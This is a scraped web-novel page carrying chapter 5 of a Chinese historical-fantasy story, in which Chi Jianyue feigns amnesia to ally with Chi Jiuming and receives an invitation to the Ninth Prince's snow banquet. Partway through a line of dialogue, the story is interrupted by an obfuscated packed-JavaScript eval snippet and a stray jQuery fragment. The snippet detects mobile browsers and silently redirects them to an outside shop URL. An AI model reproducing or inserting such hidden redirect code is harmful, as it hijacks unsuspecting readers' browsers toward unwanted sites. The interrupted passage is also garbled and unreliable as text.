默认冷灰
24号文字
方正启体

5. 第五章

作者:晏怀卿本书字数:K更新时间:
    “信?”池见月喝茶的手一顿,“什么信?”


    “每日申时,我都会去你房外间,跪满半个时辰。”他声音渐低,眸子暗了暗,“那日香莲进来送信时,我恰好跪在那里。”


    池见月盯着他,静默须臾,缓步走近床榻。


    屋内炭火过旺,烘得她白皙的脸侧染上淡淡绯色,眉间浅痣映得格外清晰。


    池九鸣斜倚在榻,仰头看着她步步靠近,直至那道纤细的身影完全遮挡在眼前。


    一高一低,一俯一仰。


    距离近得能看清她睫毛垂落的弧度,和唇上未拭干的水光。


    “咳、咳咳咳……”不知为何,他喉间猛地一呛,不受控制地剧烈咳嗽起来。


    他侧过脸,肩背因咳喘而微微发颤,苍白的脖颈伴着咳声绷起几道青筋。


    末了,等他咳完,池见月才悠悠开口:“我向来都是让你跪在院里,几时让你跪在我房中了?”


    她灵识中虽只有一些有关池九鸣的零星片段,但稍一动脑便知绝无可能。


    原主纵使再跋扈,也该知男女不独处闺房的规矩。


    池九鸣垂眸敛去眼底神色,头顶上方的音色冷了几分:“你想诈我?”


    池九鸣静默未语,似是默认。


    这也不怪他,从池见月进屋到现在,所言所行与之判若两人,让他很难不疑心。


    至于她所说的为了活着,在他听来简直好笑。


    一个人若天生良善,纵使再怎么装都是装不出来的。


    “你果然比我想的还要聪明些。”池见月见他实难糊弄,想来想去还是决定开诚布公:“既如此,我便实话告诉你吧。”


    “昨夜我被引去城北残庙,险些身死。幸而老天眷我,躲过一劫。”


    见他神色微动,又缓声补了一句:“我虽捡回一条命,却也丢了些记忆。”


    池九鸣抬起头,眼底掠过一丝惊疑,“……你失忆了?”


    池见月点了点头,眉心微蹙,言辞恳切:“我不记得从前是如何待你的了,只是听连翘提过几句。过往种种……”


    她顿了顿,声音轻了些许:


    “是我对不住你。”


    池九鸣的目光在她脸上停留了片刻,像是在辨别这番话的真伪。


    他没有立刻接话,只是将视线转向窗外。


    日光透过新糊的窗纸,在茶桌投下一块朦胧的光斑。


    “我的确不知什么信。”他声音淡淡,听不出情绪,“我也不知她为何认定我知晓。”


    池见月微微挑眉,果然如师父所说,虚言若要取信,需得真假参半。


    “可你也并未否认。”若他开口否认,香莲再如何也不会在这个紧要关头耗费时间折腾他。


    池九鸣未置可否。


    他的确没有否认。那夜府里不寻常,既然要乱,不如乱得更彻底些。


    池见月看透他心中所想,饶是她也不禁蹙眉:“你真是个疯子。”


    宁愿自己脱层皮,也要把水搅浑。


    果然,常年活在那种境地里,心性怎么可能还正常。


    “呵呵……”池九鸣似乎听到什么极为好笑的话,肩膀微微抖动,尾音拖得极长,携着几分漫不经心的讥诮。


    他抬起头,眼底一片沉郁。


    “你今日同我说这些,不过是想找个帮手。”池九鸣不再绕弯,一语点破她的心思,“我可以帮你。”


    池见月看着那双深不见底的黑眸,她有时觉得对面不像一个十六岁的少年。


    不错,她确实需要一个帮手。


    眼下灵力恢复缓慢,辞镜不知身在何处。


    连翘忠心有余,胆气却不足,若是再让她见一次干尸,怕是魂都要吓没。


    思来想去,池九鸣确是眼下最合适的人选。


    虽无灵力傍身,看起来却颇有些胆量,至少不会在紧要关头拖她后腿。


    更重要的是,他若是想在这府中好好活下去,就必须紧紧依附于她。


    是以,她也不怕被出卖。


    “好。”池见月伸手握住他,手掌交错,“既如此,你我盟约便已定。”


    她顿了顿,目光落在他苍白无色的脸上。


    “自然,既是盟友,我便不会让你白白涉险。从今日起,你院中一应吃穿用度,皆比照府中公子定例。”


    “不必。”池九鸣不动声色地将手收回袖中,他实在不习惯这人动不动便要碰来探去的行事。


    “你只需应我一个条件。”他抬起眼,目光清冽,“事成之后,我要离开侯府。届时,为我备好盘缠马匹即可。”


    离开侯府?


    池见月眸光微凝,这倒是出乎她的意料。


    “好。”她一口应下,心道这倒是个聪明人,“事成之日,金银路引,良驹快马,自会奉上。”


    池九鸣目光微闪,没料到她应承得如此干脆。


    “你需要我做什么?”


    池见月摆了摆手,将茶盏放在桌上,“这些日子你暂且歇着,好生将养。”


    免得届时点背撞上干尸,想跑都没力气。


    “若有用得着你的地方,我自会让连翘传话。”


    话音刚落,连翘便提着食盒推门而入。


    “小姐,您唤我?”


    “……将饭菜放这吧。”这隔音未免太差了些,日后商量计谋门外若是有人偷听,岂不是与同议无异?


    看来还得换个院子。


    池见月披上斗篷,朝他道:“都是些清淡粥菜,你且用些吧。”


    “吱呀——”


    木门声响,最后一抹淡蓝裙裾被涌入的冷风卷回门缝,一闪而过,随后彻底消失。


    池九鸣仍倚在榻,目光落在合拢的门扉上,停留了片刻。


    屋内炭火正旺,暖得有些窒闷,鼻尖仿佛还残留着一丝她身上那股极淡的兰香。


    他本该恨她的。


    可不知为何,那股恨意像撞上一堵无形的墙,无论如何也聚不起来。


    陌生,却又带着某种难以言喻的熟稔。


    *


    “小姐,果然如您所料。”连翘跟上池见月的步伐,“我们离开空尘轩还不到一盏茶的功夫,刘嬷嬷便带人往柴房去了。”


    她来时便让连翘去传了话,没有她的吩咐,任何人不得探视香莲。


    原以为薛姨娘那边至少会做做样子周旋一二,没想到这么快就沉不住气了。


    “人带走了?”


    “没有。”连翘摇头,语调上扬,像是亲眼见着似的,“守门的婆子拦下了,说是大小姐有令,谁的面子也不给。


    刘嬷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165159|196674||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    嬷在院门口站了半晌,脸色难看得很,最后只能怎么来的怎么回去了。”


    “很好。”池见月颔首,“找个稳妥的,盯紧静安院。尤其留意有无生面孔出入、是否有人暗中往府外传递消息。”


    玉棠院与空尘轩相距不远,说话间便已走到。


    她目光扫过院中正在洒扫的仆役,又补了一句:“换人之事这两日尽快办妥。挑几个手脚利落、最好会些粗浅功夫的,安排在柴房外看守,务必盯牢。”


    “是。”连翘应下,替她掀起堂屋的厚棉帘,一股干燥的暖意混着炭火气涌出,瞬时将身后的寒气隔绝开来。


    连翘仍有些迟疑,低声道:“小姐,香莲那边若一直关着,怕是……”


    “不急。”池见月走进屋内,将身上的斗篷解下,“眼下关着她,比审她更有用,自会有人比我们着急。”


    正谈话间,门外庭院间传来一阵窸窸窣窣的声音,仿佛是谁来了。


    连翘正欲出去瞧一瞧,便见绵帘被一把掀起,一道纤细的身影迈了进来。


    来人一身淡粉缠枝莲纹锦袄,领口一圈雪白的狐毛簌簌拂过下颌,衬得那截脖颈莹白似玉。


    乌发簪着一支赤金海棠步摇,细眉下的秋眸仿若含着盈盈泪水,腰肢纤细,袅袅窈窕。


    “姐姐安。”池见清不甚在意地微微福身,不待池见月开口,便自顾自地在侧边的椅子上落了座。


    池见月歪在暖榻上,手支着下颌,饶有兴致地看着她。


    原主那性子,是怎么容得下这未经通传便直入内室,言语举止间也未见多少敬畏的庶妹?


    她脑中记忆飞速翻掠,却只寻得些模糊日常,竟也没找出个缘由。


    “连翘,上茶。”池见月懒懒开口。


    “我方从母亲那请安过来,”池见清声音温软,可仔细听来,却藏着几分探察的意味,“听刘嬷嬷说,母亲拨来伺候的人办事不利,惹姐姐生气了?”


    池见月轻笑一声,指尖若有若无地敲着紫檀凭几,“刘嬷嬷的嘴倒快,这点小事,也值得传到妹妹跟前。难怪香莲敢乱嚼舌根,想来是上行下效,有样学样了。”


    池见清脸上的笑意险些裂开,顿了片刻才勉强缓过:“刘嬷嬷也是自觉惭愧,为这事懊悔不已呢。姐姐素来宽厚,就莫要与一个老奴计较了。”


    池见月抿了口热茶,眼皮都未抬,“妹妹既然开了口,我自然不会与一个奴才较真。”


    池见清颔首一笑,朝身侧侍女微微示意。


    侍女立时会意,从袖中取出一份泥金请帖,躬身递上前。


    “九皇子后日于府中设赏雪宴。妹妹知姐姐向来爱雪,便向九皇子多讨了一份帖子,特来赠予姐姐。”


    “赠予”二字,念得重了几分。


    池见月没理会她那点暗暗较劲的心思,目光径直落在那张请帖上。


    帖子用的是上好的洒金云纹宣,纸面泛着细碎流金。


    封皮正中,朱砂写着“九皇子府”四个字,笔锋清隽,彰显皇室矜贵。


    这帖子来得恰是时候。


    她正思忖该如何探查九皇子这条线索,他便自己送上门来了。


    池见月接过帖子,指尖轻轻摩挲着请帖边缘,唇角勾起一抹极淡的弧度。


    “妹妹真是有心了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)